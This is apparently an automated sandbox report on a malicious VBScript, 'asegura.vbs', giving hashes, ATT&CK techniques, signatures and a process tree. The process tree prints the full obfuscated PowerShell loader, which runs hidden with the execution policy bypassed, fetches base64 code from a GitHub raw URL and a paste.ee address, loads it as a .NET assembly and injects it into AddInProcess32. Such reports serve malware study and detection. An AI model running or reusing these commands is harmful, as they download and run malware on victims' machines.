c2efd467a5a52d2ed84d765cf004c8fab1f4fdf714feae96b7f4b6adaf5bd793

General

Target

asegura.vbs
Size

483KB
MD5

f263136dd6f26628d6e5fbc4f52f1c0a
SHA1

294f56a012b9a3567ffd4b49a348a68cc64c73f8
SHA256

c2efd467a5a52d2ed84d765cf004c8fab1f4fdf714feae96b7f4b6adaf5bd793
SHA512

3b728b0b0014125f23b8dfb5a7c06a6293a301971b127474bfbd59a96b4528123e0081cd90989e41bd5e5be8b04f4cf465a385fe637b4f0368344206d5c1aca5
SSDEEP

12288:RGMsp3SuzEPHa8ZVVCRl0pzCwxn9Ki+GtW2r7aPZy6PLAAIbgTNixeQJbkLFjOnd:RGNQ7H+xC99

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2256	powershell.exe
4	2256	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2680	powershell.exe
2256	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
3	raw.githubusercontent.com
4	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2680	powershell.exe
2256	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2680	powershell.exe
Token: SeDebugPrivilege	2256	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2764 wrote to memory of 2680	2764	WScript.exe	30
PID 2764 wrote to memory of 2680	2764	WScript.exe	30
PID 2764 wrote to memory of 2680	2764	WScript.exe	30
PID 2680 wrote to memory of 2256	2680	powershell.exe	32
PID 2680 wrote to memory of 2256	2680	powershell.exe	32
PID 2680 wrote to memory of 2256	2680	powershell.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\asegura.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JigodkFyaWFiTGUgJypNRFIqJykubkFtRVszLDExLDJdLUpvSU4nJykoICgoJ3swfXUnKydybCA9IHsnKycxJysnfWh0dHBzOicrJy8vcmF3LmdpdGh1YicrJ3VzZXInKydjbycrJ250ZW50LmMnKydvbS8nKydOb0RldGVjdE9uL05vRCcrJ2V0JysnZWN0JysnT24vcmUnKydmcycrJy8nKydoJysnZWFkJysncy9tYScrJ2luL0RldGFoJysnTicrJ290aC0nKydWLicrJ3QnKyd4dCcrJ3sxfTsnKycgezB9YmFzZTY0Q29udGVudCcrJyAnKyc9IChOZXctT2JqZWMnKyd0JysnIFN5Jysnc3QnKydlbS5OJysnZXQuVycrJ2ViQ2wnKydpJysnZW4nKyd0JysnKScrJy5EJysnb3duJysnbG8nKydhJysnZFMnKyd0cmluZycrJygnKyd7MH11cmwpOyB7MH1iaW5hcnlDJysnb250ZScrJ250ICcrJz0gW1MnKyd5cycrJ3QnKydlbScrJy5DbycrJ252ZXJ0XTo6RnJvbScrJ0JhJysncycrJ2U2JysnNCcrJ1N0cicrJ2luZyh7JysnMH1iJysnYXNlJysnNjQnKydDb24nKyd0ZW50KTsgJysneycrJzB9YXMnKydzZScrJ21ibCcrJ3kgPScrJyAnKydbUicrJ2UnKydmJysnbCcrJ2VjdGlvJysnbicrJy4nKydBc3NlbWJseScrJ106OicrJ0xvYScrJ2QoJysneycrJzB9YicrJ2luYScrJ3InKyd5QycrJ29udGUnKydudCk7JysnICcrJ1snKydkbmxpYi5JTycrJy5Ib21lJysnXScrJzo6VkEnKydJJysnKCcrJ3syfTAnKycvOVpsbScrJzIvZC8nKydlZScrJy5ldHMnKydhcCcrJy8vOnNwdHRoeycrJzJ9LCB7Mn1kZXMnKydhdGknKyd2JysnYWRvezJ9LCB7MicrJ31kZScrJ3MnKydhdCcrJ2l2YWQnKydveycrJzJ9LCcrJyAnKyd7JysnMicrJ31kZXNhdGknKyd2JysnYScrJ2QnKydvezJ9LCAnKyd7MicrJ31BZGRJJysnblByJysnb2MnKydlc3MzMicrJ3syJysnfSwgezJ9ezJ9LHsyfXsyJysnfSknKS1mIFtjaGFyXTM2LFtjaGFyXTM5LFtjaGFyXTM0KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2680
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((vAriabLe '*MDR*').nAmE[3,11,2]-JoIN'')( (('{0}u'+'rl = {'+'1'+'}https:'+'//raw.github'+'user'+'co'+'ntent.c'+'om/'+'NoDetectOn/NoD'+'et'+'ect'+'On/re'+'fs'+'/'+'h'+'ead'+'s/ma'+'in/Detah'+'N'+'oth-'+'V.'+'t'+'xt'+'{1};'+' {0}base64Content'+' '+'= (New-Objec'+'t'+' Sy'+'st'+'em.N'+'et.W'+'ebCl'+'i'+'en'+'t'+')'+'.D'+'own'+'lo'+'a'+'dS'+'tring'+'('+'{0}url); {0}binaryC'+'onte'+'nt '+'= [S'+'ys'+'t'+'em'+'.Co'+'nvert]::From'+'Ba'+'s'+'e6'+'4'+'Str'+'ing({'+'0}b'+'ase'+'64'+'Con'+'tent); '+'{'+'0}as'+'se'+'mbl'+'y ='+' '+'[R'+'e'+'f'+'l'+'ectio'+'n'+'.'+'Assembly'+']::'+'Loa'+'d('+'{'+'0}b'+'ina'+'r'+'yC'+'onte'+'nt);'+' '+'['+'dnlib.IO'+'.Home'+']'+'::VA'+'I'+'('+'{2}0'+'/9Zlm'+'2/d/'+'ee'+'.ets'+'ap'+'//:sptth{'+'2}, {2}des'+'ati'+'v'+'ado{2}, {2'+'}de'+'s'+'at'+'ivad'+'o{'+'2},'+' '+'{'+'2'+'}desati'+'v'+'a'+'d'+'o{2}, '+'{2'+'}AddI'+'nPr'+'oc'+'ess32'+'{2'+'}, {2}{2},{2}{2'+'})')-f [char]36,[char]39,[char]34) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2256

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\V9BUTKUEWTFXPZY94K8K.temp

Filesize
7KB

MD5
3707a47b7c42fc586d8522719ad64a59

SHA1
8448248e3e177bb9d1b2ff53eeea2afaea0f5de0

SHA256
fea3c5a02af8732ee2aec36b4c4d2438609b729a7b9f2dee6a1a6c62c39ace76

SHA512
40ab7d260e5070448fa4e22077d66e675c92c6b2cffb440bbe490b48a53051e44448659f8638e13e94e28c4eb65605528bf6b608150bc0c94a04af912ba9f13b

Download Submit
memory/2680-4-0x000007FEF633E000-0x000007FEF633F000-memory.dmp

Filesize
4KB

Download
memory/2680-5-0x000000001B7C0000-0x000000001BAA2000-memory.dmp

Filesize
2.9MB

Download
memory/2680-8-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2680-7-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2680-6-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download
memory/2680-9-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2680-11-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2680-10-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2680-17-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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